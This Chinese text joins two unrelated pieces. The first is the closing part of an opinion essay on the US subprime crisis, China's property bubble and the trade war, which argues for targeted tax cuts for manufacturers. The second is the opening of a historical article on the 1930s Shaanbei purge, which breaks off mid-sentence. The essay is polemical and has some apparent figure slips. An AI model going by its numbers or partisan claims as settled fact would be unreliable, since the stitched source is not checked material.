互联网泡沫的锅得由2001年1月离职的克林顿总统来背,而新上任的小布什总统,拿着轻易就借债印出来的钱,突然就陷入了无所事事的境地。传统的信息产业每隔两年就全面更新一次CPU和系统,按部就班规规矩矩,也不再需要加大投资;互联网这个大泡沫看着就没谱,各大财团避之唯恐不及;至于其它领域的新兴产业,根本就没有影子。反恐战争和伊拉克战争也花不了多少钱。小布什闲着没事,于是放纵华尔街去房地产领域吹泡沫,到2007年,终于搞出了震惊世界的次贷危机。

当时的美国已经把借债印钱这一套玩得炉火纯青,金融体系流动性泛滥,但是可以花钱的领域实在是太少了。为了找到新的借债人,美国金融界发明了所谓的“次级贷款”,也就是给付不起首付的穷人提供全额购房贷款,鼓励穷人买房。在次级贷的推动下,从2001年到2007年,美国房价迎来了一波剧烈上涨,整体涨幅达到70%。好吧,从第一章开始,我们已经反复阅读到了一个终极定律:所有吹起房价泡沫的国家都没有好下场。即便是美国这样的全球经济第一强国,也逃不过规律的作用。

更加作死的是:美国金融界有着发达的金融产品体系,它们将所谓的次级贷款打包,弄成无数层的金融产品,拿出去加杠杆卖给整个欧美日韩的金融机构,大家一起来分担借钱给穷人买房的风险。而一旦美国穷人还不起钱,这就意味着整个欧美的金融体系都要遭遇惨烈的冲击。

到2007年3月的顶峰时期,美国次贷余额达到1.3万亿美元,并且由于层层转手,层层加杠杆,参与到这场地产泡沫的资金超过10万亿美元。然而穷人总归是还不起钱的,大规模的断供潮就此出现,到4月份美国第二大次级贷款抵押机构“新世纪金融”就宣布破产,危机就此爆发,并迅速向整个欧美日韩金融界扩散,8月份德国工业银行、法国巴黎银行相继宣布遭遇巨额亏损,接下来就是集体比惨时间,各发达国家金融机构轮流发布重大亏损消息,时不时就有一家老牌金融企业宣告破产,全球金融市场一片惨淡,现金流濒于枯竭,并向实体经济蔓延,金融海啸就此成型。8月份之后,各发达国家政府眼看局面已经不可收拾,相继宣布救市。最典型的是美联储,将联邦基准利率从危机发作前的5%一路下调,到2008年9月份降到0.15%的最低值并长期维持。然而哪怕是降息降到这样接近零的程度,依然不足以阻止危机,于是美联储开始执行“量化宽松”策略,在金融市场上直接购买政府债券或其它由政府担保的债券,也就是美国央行直接印钱给美国政府花,以挽救经济。2009-12年间,美联储总共买进了约2.7万亿美元的债券,此后美联储的买债行为成为常态,每个月都要买入450美元的国债和400亿美元的其它债券,一直维持到2014年底。

次贷危机发作后美国的房价持续下跌,到2010年已经整体下跌了四分之一。此后在“量化宽松”政策的持续刺激之下,美国经济才算是勉强站稳了脚跟。而在中国这边,由于当时中国并没有太过严重的房价泡沫问题,中国相对独立的金融系统也没有涉及到次级贷产品交易之中,因此2008年席卷全球的金融海啸,只不过让中国人惊吓了一把,几个城市的房价假装跌了一下,很快就回升,并没有伤筋动骨。我大中国在2001年加入世贸组织后,就承接了全球的基础制造业,并由此发展出相对完备的基础制造产业链,从原材料冶炼、基础加工一直到基础装配,我大中国都发展出了丰富的企业集群。这样比较起来,新世纪的前十年,我兴旺发达的中国经济,真是要比焦头烂额的美国经济高出好几个档次。在这十年里,我大中国国民扬眉吐气,在金融海啸期间甚至还财大气粗的尝试救助美国,显得格外的有面子。

然而历史的吊诡之处恰恰在于:房地产泡沫的坑永远都在那里,每隔10年都会有一个新的全球主要经济体兴高采烈的主动跳进去。1980年代是日本,1990年代的时候是香港+东南亚,2000年之后是美国,到了2010年之后,终于轮到了中国

在美国那边,2010年之后整个国家的风气为之一变,金融机构受到了日益严格的监管,不允许再将资金毫无节制的投入地产或其它泡沫领域。如果只是这样也就算了,2010年6月,苹果公司的乔布斯老爷发布了划时代的苹果4代手机,就此掀起了一场浩浩荡荡的信息时代的全新革命:移动互联网时代就此到来!

在2000年互联网泡沫破灭之后,互联网这个东西与普通人类的日常生活一直若即若离,远没有达到渗透到日常起居的程度。使用电脑上网,无论是台式机还是轻便的手提电脑,总归是有着天然的隔离感。然而天才的乔布斯将手机智能化,与互联网捆绑起来,自此实现了互联网与人类日常生活的紧密联系。随时随地打开手机就能上网,拍照发推特,在朋友圈里相互点赞,分享自己每时每刻的生活,吃饭之前先用手机轰炸一轮,成为了新时代人类的典型生活方式。中国的年轻人虽然发不了推特,但是微博微信之类的用起来一样顺手得很,苹果手机在中国的普及程度甚至比美国还高。移动互联网终于算是给整个信息行业找到了切实可行的发展方向,各种随身智能设备蓬勃发展起来,美国经济就此重获新生。然而奥巴马总统并不以此为满足,他启动基础制造业重回美国的计划,并突破其国内莫名其妙的环保限制,大量开采美国丰富的石油气资源,将美国从全球最大的石油进口国,变成了一个纯粹的石油出口国。如此双管齐下的结果,2009年1月奥巴马刚上任时美国失业率高达10%,到2017年1月奥巴马离任时,美国的失业率已经下降到4.7%。这真是一个耀眼的成绩。

然而,在中国这边,2010年之后,我们一步步的掉进了地产泡沫的坑里。到2018年,地产泡沫已经膨胀到前所未有的程度。到了现在这一刻,防范金融风险,已经提升到了国家最高等级战略的程度。雪上加霜的是,美国的川普总统已经发起了与我国之间的最广泛的贸易战,双方互加关税,毫不退让。然而,这场贸易战的实质,其实是一场关于人心的决战。人心的向背,将决定这场贸易战的最终胜负。

下篇:决战人心

首先我们要建立起一个基本概念:我大中国的房地产泡沫,到底已经膨胀到了什么地步;城镇居民在购房上的投入,已经占到其收入的多大比例。唯有深刻理解了这一点,我们才能真正理解我大中国在贸易战的威胁之下,经济局势到底有多险恶。注意,你们接下来将要经受一场数据浪潮的冲击,不过你们无须认真的阅读下列数据表中的每一个的数据,我将会对表格中的数据规律予以详尽说明。

首先要放上来的,是1990年至2018年6月的我国城镇居民的人均收支数据表。这份表格不仅是列举我国国民的历年收支情况,更重要的是,我们可以扣减出一个非常重要的数据:人均收支结余。这是一个非常重要的数据。由于人均消费性支出收据仅包含居民为了生存必须的衣食住行医教育(这里的“住”指的是居住直接居住,比如物业水电支出或租房支出,不包含购房按揭类支出)的支出,不包含奢侈型消费和购房支出,因此所有这类高端消费,都指着人均收支结余了。

上述表格中有一个非常重要的数据特征:1998年-2001年间,中国城镇居民的收入和支出增幅都很低,这是由于当时效率低下的国营经济遭遇重大困难,被迫启动千万工人大下岗,居民的收入和消费能力因此丧失增长性。此后中国加入WTO,融入国际经济大舞台,承接了全球的基础制造业转移,发展成全球最大的基础工业品基地,因此城镇居民的收入和消费能力与日俱增,年增幅基本上都维持在10%以上。然而2013年之后风云突变,城镇居民的收入和消费支出增幅都呈现下降趋势,2017年城镇居民人均消费性支出增幅仅5.9%,2018年上半年也只有6.8%(12745/11931),这当然意味着消费降级。

接下来,我们直接来看1998年我国开启商品房地产改革至今的宏观房地产市场数据。我在下表中做了一个简单的数据模型:我假设所有的商品房均为三成首付,20年等额还本,购房利率统一设置为6%,由此推算每年的城镇居民购房总支出。注意两点,第一,这里的统计口径为完成了房管局登记备案的商品房销售数据,事实上从2017年开始,大量的已售商品房由于限签因素,无法完成备案,但城镇居民已经事实上支付了首付。因此2017年及2018年的数据存在一定的低估。第二,我这里直接使用的“商品房”而不是“商品住宅”的数据,这是因为住宅销售额占商品房总销售额的比值超过85%,且剩下的用于销售的物业形态中,商铺的买家主要是居民个人,写字楼的买家也有相当大比例的居民个人,整体而言,超过9成的商品房卖给了城镇居民个人,以公司名义购买的物业比例极小。

按惯例,对上述购房总支出做一个简单的验算:1998年至2018年6月的商品房销售额合计91.54万亿,居民还本额合计43.69万亿,两者扣减,就能得出城镇居民的购房总负债规模:91.54-43.69=47.85万亿。根据中国人民银行数据,截至2018年6月底,城镇居民总贷款余额为44.13万亿,这些贷款基本上都是购房类贷款,消费类贷款规模极小。此外,根据建设部数据,截至2017年底的住房公积金贷款余额为4.51万亿,考虑到近5年来住房公积金贷款余额规模的年增额约5-7千亿,估算今年6月底的数据为4.8万亿,应该不会有太大的数据出入,如此合计,居民总贷款余额为44.13+4.8=48.93万亿。这个数据与前述表格中的推算数据之间的差异仅2.2%,几乎可以忽略不计。这两个数据相互印证,说明前述表格中的计算方式是成立的,是符合现实情况的。

以上述居民购房支出表中的年度支出数据,去除以居民历年的年度收支结余数据,我们就能计算出居民的年度购房负担率了。这个购房负担率一旦超过100%,就意味着居民手里的盈余资金全部被房地产市场吞噬了。为了买房,居民下一步就只能是压缩必要的生存支出,形成消费降级。

计算出来的结果一点都不让人感到意外。我大中国国民的年度购房负担率水平,在2010年达到80%,此后,在连续的房地产调控之下出现震荡,到2015年依然维持在84.5%的水平。这说明这些年的房地产调控其实起到了作用,居民的购房冲动得到了抑制。然而调控的结果是政府的土地出让金收入大减,2015年的土地出让金收入降幅高达22%,所以到2016年初我国就放弃调控,开始启动“房地产去库存”政策,此后居民的年度购房负担率剧烈增长,2016年和2017年都在95%左右,到了2018年上半年,这个数据出现了暴增,达到了110.6%!居民的当年度收支结余全部都要拿去买房,这意味着两件事,第一,居民必须要动用他们的棺材本,也就是使用历年积累的储蓄来偿还购房支出,这就是“六个钱包”说法的由来。2018年上半年居民80%的棺材本都已拿来购房,六个钱包已经被压榨得差不多了,剩下的仅仅两成的棺材本,在我们这个负福利国家来说,必须拿来预防生老病死等等各种意外,是万万不能动用的。如果放纵房地产继续吞噬居民的棺材本,造成居民的现金流断裂,那是要出大问题的。第二,消费降级,已经是经济上的必然趋势,也一定会在社会消费品零售数据上体现出来。所以接下来,我们就来看看这个社会消费品零售数据的历史演变。

2004年-2012年,是我大中国消费市场迅速发展的时期,也就是我大中国经济发展的黄金年份,社会消费品零售总额年增幅约20%,此后,伴随着我大中国的地产泡沫日益膨胀,消费增幅逐年下降,到今年7月份已经下降到仅4.4%(21.08万亿/20.2万亿)。这里我必须说明的是:就现在这种惨淡的增幅,还是由于城市化在继续,每年新增的城镇常住人口约2千万左右,2018年上半年城镇常住人口的人均消费性支出12745元,而同期农民的消费性支出仅5806元,城镇人口的消费能力是农民的2.2倍,不过最近我国开始表现出逆城市化的趋势,重点城市都在有意无意的驱使低收入人群回乡,这意味着消费增速将会加速萎缩。我这里给出一组代表性的销售数据供各位参考:2018年7月份轿车销量80.9万辆,同比增长-3.8%,环比增长-7.0%;SUV方面,7月销量63.9万辆,同比增长-6.9%,环比增长-6.9%。家用汽车销量往往被视为消费的先导数据,汽车销售陷入萎缩,一般都是经济萧条的起点,整个消费市场都将陷入真正的萎缩。

然而与此同时,从2013年开始维持的物价平稳状态开始改变,今年以来的零售物价指数开始提升,截至7月底已经达到1.7%,今年极有可能突破2%。这与上游的供给侧改革带来的原材料价格持续暴涨有关,原料价格的上涨总归是要传导到下游最终消费品领域的。这还真是一件可怕的事:在居民已经无力消费的同时,物价终于涨了起来,这只意味着一件事:滞涨

消费是经济最核心的动力,消费增速陷入萎靡状态,经济增长动力就丧失了一大半。与此同时,房地产泡沫对实业的冲击作用,也逐渐体现了出来。我们必须知道的是:房价暴涨除了吞噬居民财富压缩消费,对实业造成间接打击之余,它还会推高房租,大幅提升企业的经营成本,对实业形成直接打击,最终形成驱赶实业的恶果。这种现象,可以在下面的固定资产投资演变表中得到完整的体现。

2001年我国加入世贸之后,固定资产投资大增,而第二产业(工业建筑业)的投资增幅长期超过固投总增幅,是为拉动投资的最重要的因素。然而2013年之后,伴随着房价的持续上升,固定资产投资的增速从此前的高于20%剧烈萎缩,到2017年的固定资产投资绝对值增速已经只剩下5.9%,乃是1999年以来的最低值。我这里稍微说句题外话,本文中的所有增幅数据都是绝对值增速,是与去年的数据直接相除得出的数据,而我大中国统计局发明了一套只有超级赛亚人才能看懂的除法,有着神奇的数据调整因子,比如2017年统计局宣称固定资产投资增速为7.2%,反正也没人能看懂这到底是怎么除出来的,所以我在这里也不予以引用。学会自己除一下,乃是在我大中国成为知名经济学家的不二法门,特此提醒!言归正传,到了2018年,投资增速继续下滑,1-7月的投资增速已经只剩下5.5%(355798/337409)。而2013年以来固投增幅下滑的主要原因在于第二产业(工业建筑业)投资增速的剧烈下滑,2013年为16.5%,到2017年,第二产业投资增速只剩下1.7%,2018年1-7月也只有3.9%,萎缩幅度远大于整个固投增幅的萎缩幅度。当然,与此同时,房地产投资一直保持着相对高速的增长。从1998年启动商品房市场化改革以来,也只有2015年全国房地产市场在持续调控之下萎缩,造成当年度的房地产开发投资增速只有1.0%,但是政府马上就受不了了,从第二年开始就启动地产去库存,将地产开发投资增速拉了上来,2016年和2017年的增幅都达到7%,2018年1-7月更是达到了10.2%(65886/59761)。中国经济弃实业而重地产泡沫的顶层政策倾向,在上述数据演变的轨迹中,清晰可见,根本就无从掩饰

与此同时,在贸易战的大背景下,外资投资中国的欲望当然在迅速减弱,对外贸易数据当然也越来越难看,我大中国挣外汇的能力,当然也在迅速下降。下表列出了2000年以来我国在外贸和投资领域的全部外资相关数据,有兴趣的话可以点击大图好好看看。最重要的是最右侧的汇总数据,也是我大中国当年度挣到的外资总额。注意,下表中的服务贸易数据来源为外汇管理局,货物贸易数据来源为海关,外资投资数据来源为商务部。

2001年我国加入世贸,当年度我国吸纳外资净值为633亿美元。到2015年,我国吸纳外资的规模达到峰值的3957亿美元,此后伴随着美联储加息缩表,促使美元回流,我国吸纳外资的规模就随之进入了下滑通道。2016年下降到2203亿美元,2017年下降到1798亿美元。到今年情况更加恶化,在贸易战的现实威胁之下,今年一季度出现了负值,净流出165亿美元,截至6月底的数据也仅仅只剩下15亿。这已经完全谈不上外资流入了。必须注意的是,上半年为了提前应对贸易战,有大量的贸易商提前完成了进出口贸易,这事实上极大的提高今年上半年的货物贸易顺差,下半年我国的货物贸易顺差规模必将会大幅下滑,并导致整体的吸纳外资的能力进一步削弱。今年我国在吸纳外资一项上出现整体上的净流出情况,估计是板上钉钉的事了

这么总结起来看,在地产泡沫的冲击之下,我大中国的消费与投资本来就丧失了增长性,祸不单行的是,川普适时发起的贸易战,将我国挣外汇顺差的能力都剥夺了。推动经济发展的三驾马车全部散架。在这场贸易战面前,怎么看,我国都已经没有了还手之力。目前我大中国的应对措施已经渐渐明确:重启地方政府的大基建模式,以勉力维持固定资产投资增速。单单7-8月份的地方债新增发行规模就超过1万亿人民币了,按现在的势头,预计后续还会有两万亿的新增地方债规模。然而我大中国地方政府本来就债务缠身,本来就已经到了连利息都还不上的程度了,这就是去年下半年财政部和发改委联手封堵地方基建,严查地铁轨道建设的原因。现在指望地方财政突然就宽松起来,重新拥有借债还息的能力,根本就不现实。如果最后由中央政府兜底,以行政命令要求央行直接印钱,帮助地方政府还债,那就是事实上的QE,量化宽松,就我大中国的货币信用状况,必定会导致一场灾难。

怎么办?我们可以怎么办?难道面对美国步步紧逼的攻势,我们只能屈辱求饶了吗?除了自杀式的重启借债基建模式,难道我们只能一步步的看着实业萎靡失业率暴涨汇率扑街房价暴跌吗?我们只能看着流民四起社会动荡底层绝望的国民启动互害模式吗?我们真的不能做点什么,来逆转现在的局面吗?

在第一章,老蛮我详细阐述了1990年日本地产泡沫破灭的根源,在于美国信息产业的兴起,击溃了日本看似先进的制造业;在第二章讲述了1998年东南亚地产泡沫的破灭,则是源起于美国互联网泡沫的兴起,吸走的外资投机资金;至于2008年美国地产泡沫的破灭,则是由于当时美国金融界借钱给一贫如洗的穷人零首付买房,最后他们根本就还不起债导致坏账连锁爆发。这些因素,在今时今日的中美之间,事实上并不存在。我大中国根本就没有零首付这一说,这么多年来,除了极个别的地区可以通过高评高贷降低首付,整体来说三成首付制度执行的非常好。买房者也基本上都有固定收入,提供假收入证明的当然也有,毕竟也不是主流。真正可恐惧的,就是新兴产业冲击中国。

然而,某种新兴的、能够吸纳全球资金积极参与的产业,还没有诞生。新能源现在基本上都是骗局,无论是风电、新型电池乃至电动车,全都没有啥革命性的技术突破。量子技术领域毫无进展。随身核能源设备至今唯有在漫威的电影里看到钢铁侠在使用,真实世界的人类能够发展出这种技术的可能性为零,甚至低于零。至于从1985年之后推动人类社会发展到今天的信息技术,也已经发展到了瓶颈状态,到了移动互联之后就没有了突破方向。所以美国固然通过加息缩表,促使美元回流,但是回流之后的美元其实也是无所事事,唯有炒炒美股买买美债而已。于是美股没事就创下新高,美债利率也一直维持在低位。

为了给回流资金找出路,美国政府的办法是力促实体制造企业回流。奥巴马政府还讲脸面,只是喊喊回流口号。特朗普政府已经撕破脸了,一方面启动全面性的减税,将企业税率从35%大幅下降到20%;另一方面,则对那些依然将产能布局到国外的企业口诛笔伐,特朗普甚至亲自上阵,在推特上对外迁的企业破口大骂。在这样的背景下,连苹果公司都开始实施产业回归计划,为苹果代工的富士康也已经将部分产能搬到美国,为美国提供了数以十万计的工作岗位。到今年8月,美国的失业率已经下降到了3.9%,算得上是美国历史上最闪亮的失业率数据。然而特朗普政府依然不满足。实体企业的回流美国还没形成规模,还只是小打小闹。更关键的是:现在看起来很漂亮的失业率,是建立在史上最低的劳动力参与率(愿意参加工作的成年人比例。美国的失业率计算方式为:有工作者/愿意参加工作者)基础之上的。2000-2008年的时候美国的劳动力参与率维持在66-68%之间,扣除老人以及病弱,这还算是一个正常的数值,此后这个数据就调头往下,到2018年已经下降到了62%。这表明近10年来,虽然美国的失业率逐年下降,但是美国成年人口的工作意愿不足,事实上的新增工作岗位,依然不足。

这么看起来,中美的核心矛盾,就是实体制造业的最终归属。要么就留在中国,以支撑地产泡沫之下脆弱的中国经济;要么就回归美国,以提升美国的劳动参与率,在全球经济面临重大危机的当口,美国经济将因此被推升到真正的盛世状态,特朗普总统也将因此成为美国历史上最伟大的总统,没有之一。

在美国那边来说,能做的准备都已经做了:大幅减税,石油气资源的大规模开发,这都是为了给生产企业降成本。同时发起与中国的贸易战,大幅提升关税,降低在中国设厂的美资企业的利润,逼迫其回流。美国这段时间中期选举,特朗普政府以及整个共和党,都将为美国带来了多少回流企业创造了多少工作岗位放在竞选宣传的首位,视之为最高的政绩。而在中国这边,真正能够挽留实体制造业的措施,一个都没有看到!减税?口号这几年确实是喊得震天响,但是年年都是税收增速大幅超过GDP增速,今年1-7月的税收增幅高达14%。最近又玩出社保费用由税局统一征收的新花样,相当于变相加税。与此同时,我国还要以环保为名,发起一轮又一轮的企业清洗运动,直接关停民营企业,并且没有任何申诉或者复工途径。

我大中国国民,本来是这个世界上最吃苦耐劳,最愿意挣辛苦钱的人类。即便是地产泡沫的冲击之下,实业老板辛苦十年,比不上一个打工仔买套房挣的钱多,但是依然有着一批数量巨大的实业老板们,含辛茹苦兢兢业业无怨无悔的工作。对中国经济来说,最可怕的事,并不是地产泡沫的持续膨胀,而是实业老板们丧失信心,放弃实业。一旦出现这样的情况,那我们的结局,会比1990年的日本以及1998年的东南亚四国惨烈得多。

既然核心矛盾已经确定,那么我们的应对方式,就很明确了:给制造企业定向减税,减税幅度至少应达到30%以上。现在我国的税收征缴体制已经很完善了,已经可以很容易的区分企业性质进行征税了。单独对制造企业减税,也并不会带来整个国家财政的动荡。2016年我国规模以上制造企业的总税负为50940亿,总利润为71921亿(原谅我只能使用2016年的数据,因为2017年之后制造企业的税负数据就不公布了)。从这种数据来看,规模以上工业企业总税收只占当年度全国税收总收入的39%(50940亿/130354亿),将工业企业税负全面下调30%,也就是减少15282亿,全国税收降幅也只有11.7%,还远远达不到伤筋动骨的程度。如果想要弥补这种税收损失,还可以给地产行业增税,2016年中国房地产企业直接缴纳的税收总额约2.4万亿,再增加个3、5千亿应该也不难。最关键的是,二手房交易中的居民个人所得税,其实一直都没有真正予以征缴。如果这一笔税全面开征,取消所有的减免规定,只要是二手房交易的增值部分就必须缴纳个税,并且可以按照增值比例建立级差征缴制度,增值50%的部分征缴20%,增值一倍的部分征缴50%,就这已经足以弥补全部税收损失了,而且这种征收手段所能产生的社会效应,也一定比目前引发巨大争议又迟迟不敢出台的所谓房地产税的效果要好得多。并且,个税只有在炒房盈利时才会发生,对于真正的购房刚需来说,并不会发生负面作用,不至于发生房地产税这样的误伤。

而针对制造业减税,单单就这一笔30%的减负,就可以为工业企业增加21.2%的利润,无疑这将会给实业老板们带来巨大的经营动力。当这个国家真正启动专门针对实业企业的减税措施之后,整个社会无疑也将会逐渐形成尊重实业的风气。同时,在行政层面上,对于地方政府做出的无故关停实业企业的行为,一经查实,立刻撤掉地方主官的职。只要有一宗案例,就足以扭转地方政府藐视实业的作风。如此双管齐下,制造企业主的人心就能安定,我大中国有了实业作为底气,就有了与美国继续对抗下去的基础。未来的胜负固然还难以预料,至少也有了一战的机会。

然而,如果我们坚决拒绝针对制造业的定向减税,却毫无逻辑的选择政府借债搞基建的路子,这除了将我大中国引导到金圆券的老路上,没有别的可能性。这一次,在中美贸易战的威逼之下,我们已经没有试错的机会了。今年以来我大中国的制造业情况已经相当惨淡了。1-7月的规模以上工业企业利润规模39038亿,较2017年同期的42481亿,降幅高达9.2%。当然,国家统计局发明了一种新算法,他们把去年还在规模以上的总盘子里但是今年消失了的企业,从去年的盘子里踢了出去,强行宣布去年的规模以上工业企业利润总额其实为33330亿,由此得出我国今年的工业利润增幅为17.1%。当然,我们都知道这是自欺欺人罢了,根本就不能自圆其说。顺带说一下,从总盘子里消失了的企业数量是多少呢?2017年7月我国规模以上工业企业数为379887家,今年7月份为373939家,一年时间下来,5948家年产值2000万元以上的工业企业不见了。

就现在这样的状况,继续拖延下去,让企业主的心继续寒下去,让规模企业继续这么消失下去,我大中国的失业潮是可以预见的。在城镇居民的现金流完全被房地产吞噬的情况下,是没有办法应对失业潮的冲击的。这将会是压倒骆驼的最后一根稻草,失业潮将会带来房地产断供潮和抛售潮,带来物业价格的崩塌。要知道今天我大中国三分之一的银行贷款都是居民购房类贷款,至于企业贷款最终流入地产开发领域的数额,更是难以估量,整体来说,我国至少六成以上银行贷款锁死在房地产领域,与东南亚金融风暴发作之前的情况一模一样。一旦地产市场崩塌,带来的金融风险,是我大中国无法承受的。

既然已经无可选择,既然定向减税已经是唯一的选择,背水一战已经成为了不得不为的事,无论怎么看怎么想,都没有了别的退路,那么,剩下的唯一的问题,就是什么时候,我大中国会将这种定向减税措施推上台面。正如解说中国足球最常见的一句话:留给中国队的时间已经不多了。如果我大中国政府不能尽快以减税作为突破口,收拾人心的话,这场贸易战,我国一定是彻彻底底的输家。而如果定向减税措施真的能够出台的话,那么,我们就还有一战之力,就还有时间和余力,跟美国见招拆招,寄希望于时间能够化解地产泡沫问题。更关键的是:定向减税也并不会伤及我大中国的财政根本,向地产领域定向加税已经可以弥补绝大部分财政收入损失。

但是,请注意这个但是,如果连这最后的一条路,我大中国都不愿意走的话,那么,我们就只能看着人心破碎,伴随着贸易战逐步升级,各路资金夺路而逃,并最终迎来长期的黑暗。然而历史的吊诡之处在于:人类往往都会在历史的紧要关口,做出错误的选择。定向减税这种对国家来说一本万利的事,由于不能给顶层的权贵带去实际的利益,在操作上又很是麻烦,会徒增相当多的工作量,甚至有可能因此得罪相当多的既得利益团体,因此我大中国的决策群体,对这样更富有可行性的建议,一般来说,也都会选择视而不见。鼓动地方政府借债搞基建多舒服啊,在工程建设过程中还可以寻租,各大利益团体都相当满意,这才是符合我大中国国情的危机解决措施嘛。至于以定向减税凝聚人心这种事,哪有什么实施价值嘛。这么想起来,对那个更可能发生的黑暗结局,老蛮我唯一想说的,就只剩下我经常说起的这一句:我的读者们啊,我希望你们永远不要放弃对光明的希望。即便是在黑暗之中,你们也要睁开眼睛!

全文完!

习仲勋与“陕北肃反”

$
0
0

西北革命根据地内部的历史积怨及其对陕北肃反的影响

陕北肃反之所以会以如此惨烈的方式出现,革命者内部自相残杀,且手段极其残忍、后果贻害无穷,都与西北革命根据地内部的分歧长期得不到解决,且逐渐激化有密切关系。

西北革命根据地的发展是比较复杂的,陕甘边根据地和陕北根据地是从各自独立战斗,后来慢慢走向联合的。陕北革命根据地的重要领导人曾担任陕北红军27军81师师长的贺晋年说:“1935年前,陕甘边和陕北是被敌人分割开的两块根据地、两支革命武装,因而也就存在两个领导关系。陕甘边根据地和武装属于陕西省委领导;陕北根据地和武装则受中央驻北方代表的领导。在革命斗争中,两支革命武装虽然常有联系和配合,但基本上是各自进行活动的。”陕甘边根据地的重要领导人曾担任陕甘边特委书记的张秀山也说:“1934年7月,谢子长、郭洪涛带领陕北游击队来到南梁,老战友相见非常亲切。……在此之前,陕甘边特委与陕北特委有些联系,但是因受敌人包围和阻隔,往来不多。两个特委又分别属于两个上级机构领导,陕甘边特委归中共陕西省委领导,陕西省委归党中央直接领导;而陕北特委归中共北方局,其后为中央驻北方代表领导。”“在整个发展过程中,双方逐步互相联系,互相配合和互相支援,最后在刘志丹、谢子长同志的领导下,于1935年2月成立了西北工委和西北军委,达到了完全统一。”

但是,西北党和红军在发展中也产生了很多分歧,留下了一系列难以抹平的矛盾。1932年1月发生的“三甲塬缴枪事件”就是突出的一例。“‘九一八’事变后,全国抗日救亡运动日益高涨,陕西省委,根据中共中央关于‘武装全国人民进行民族革命战争,反抗日本帝国主义’的指示,将南梁游击队改称为‘西北反帝同盟军’,谢子长任总指挥,刘志丹任副总指挥兼第二支队队长,朱李恺任参谋长,师储杰任第一支队队长,杨仲远任参谋长。西北反帝同盟军成立后,省委指示西北反帝同盟军到西安附近活动,以扩大影响,刘志丹不同意,他主张在陕甘边活动。在这期间,部队进行整顿。有人主张整顿要缴械,刘志丹主张整顿要加强教育,贫苦农民出身当过几天土匪的要改造,也能够改造。但是,没有经过西北反帝同盟主要领导成员的讨论,没有请示省委,就委任执法队长以突然袭击的方式制造了‘三甲塬收枪’事件。执法队打死了刘志丹带领的二支队的一个骨干,收了二支队的枪,也缴了刘志丹的枪。根本没有革命准备的师储杰获悉发生此事,极为恐惧,带领部队投敌。一支七八百人的队伍,转瞬间只剩下100多人。”策划和主持这次缴枪行动的人是谢子长,阎红彦是杀死刘志丹二支队骨干赵二娃的执法队队长。刘志丹当时被缴械软禁,直到第三天陕西省委巡视员到来后才被释放。为此,当年3月下旬,刘志丹还亲自到西安找到陕西省委申诉,陕西省委去信批评了谢子长和阎红彦。

1933年5月,红26军南下创建渭华根据地失败后,西北根据地主要领导在追究失败责任时,又发生分歧,加大了矛盾。在“三甲塬缴枪事件”以后的大约两年时间内,西北革命根据地在曲折中逐渐得到了发展,尤其是陕甘边发展尤其迅速。陕甘边根据地的发展与陕甘边根据地领导人刘志丹等的探索是不开的,在艰苦的对敌斗争中,刘志丹慢慢找到了革命的正确道路,取得了许多辉煌的业绩。1932年7月,刘志丹对当时搞“两党(地名,在今甘肃东部)兵变”失败的习仲勋说:“几年来,陕甘地区先后举行过大大小小70多次兵变,都失败了。最根本的原因就是军事运动没有同农民运动结合起来,没有建立起革命根据地。如果我们像毛泽东同志那样,以井冈山为依托,搞武装斗争,建立根据地,逐步发展扩大游击区,即使严重局面到来,我们也有站脚的地方和回旋的余地。现在最根本的一条是要有根据地。”1934年5月28日,陕北特委也得到恢复。陕甘红军队伍,不久也从创建渭华根据地失败的阴影中冲了出来,恢复了红26军42师,到1934年10月“红42师已拥有五个团的建制,其中包括郭宝珊率领的抗日义勇军,兵力近千人,游击队发展到1500余人。”

但是,在此期间,西北革命根据地内部“左”倾错误也在恶性膨胀。当时中共陕西省委书记杜衡来到陕甘边,推行“左”倾路线就是典型的例子。杜衡来到陕甘边后即改组红26军,自任军政委,火烧始建于唐代的照金著名庙宇香山寺,进攻与陕甘边有统战关系的地方武装,不切实际地提出建立新的渭华根据地。在1933年5月,在杜衡的强迫和煽动下,刘志丹只能率领当时组建不久的红26军2团开往渭南、华县一带创建新的根据地,在开赴新根据地的途中,遭到国民党军队的围追堵截,伤亡累累。此时的杜衡畏惧困难,以回西安汇报工作为名离开这支队伍,不久在西安被国民党逮捕,随即投敌叛变。刘志丹率部到达目的地的时候,队伍也被冲散,刘志丹藏身终南山,后在当地党组织帮助下,历尽千辛万苦才辗转返回陕甘边根据地与留在那里的陕甘边苏维埃政府主席习仲勋等汇合,继续开展革命的武装斗争和根据地建设。

红26军南下创建新的根据地失败了,而且大伤元气,那么为什么会失败?谁应该对失败负责呢?毫无疑问,杜衡及其推行的左倾军事路线,不顾红军实际情况,盲目行动是造成这次失败的主要原因,而且杜衡的叛变更加重了红26军的损失。但是到了1934年前后随着谢子长、郭洪涛先后回到西北革命根据地后,对失败的原因和责任有了新的“解释”。1934年7月28日,中共陕甘边特委和红42师委员会,在南梁堡附近的阎家洼子召开了连以上的干部会议,西北军事特派员谢子长传达北方代表的指示,并邀请中共陕北特委委员郭洪涛和陕北红军游击队各支队领导干部参加会议。“谢子长在会上宣读上海中央局和北方代表给红26军的两封信。信中对红26军的战略转移指责是‘右倾机会主义’、‘逃跑主义’、‘梢山(西北地区人民对山区的称呼)主义’、‘枪杆子万能’,说部队组成带有‘浓厚的土匪色彩’等。”郭洪涛在会上也作了严厉批评红26军和陕甘边特委的发言。

“郭洪涛在会上作了‘政治报告’,从国际讲到国内,从无产阶级发展讲到反对资产阶级的斗争,又讲到陕甘边区党内的‘右倾机会主义’和红26军不能正确执行党的路线,重复了北方代表指示信中那‘五顶大帽子’。”随后,郭洪涛在陕北特委的机关报上发表《红二十六军长期斗争的主要教训》,照抄照套上海临时中央和北方代表给红26军的两封信,批评指责红26军和陕甘边特委。1934年8月26日,谢子长在清涧河口战斗中负了重伤。9月5日,谢子长在病榻上给中共中央驻北方代表孔原写信,对红26军42师及其领导人刘志丹等进行了尖锐的批评:“42师一贯的是军事乱窜,不能在艰苦的群众工作中完成西北苏区的任务。渭北与照金的失败,红26军不能扩大,都是政委不能把握中央路线的缘故。虽然联席会议暂时要我代理42师政委,但是我在军事上较有把握,在政治上非常困难。联席会议一致的要求中央派军、政同志领导42师,把老右倾同志另外调换工作,才是根本转变26军的办法。”“联席会一致的认为,领导关中、陕甘边、陕北、甘宁等的实际工作里,需要中央派得力同志去组织西北代表团,或组织西北工作委员会,领导西北全部工作。”稍后,10月26日,陕北特委郭洪涛也致信“中代”(这里指的是中共中央驻北方代表孔原,他在此时负责领导北方中共党的工作),指责红26军是机会主义、梢山主义、逃跑主义等,同时要求“中央派代表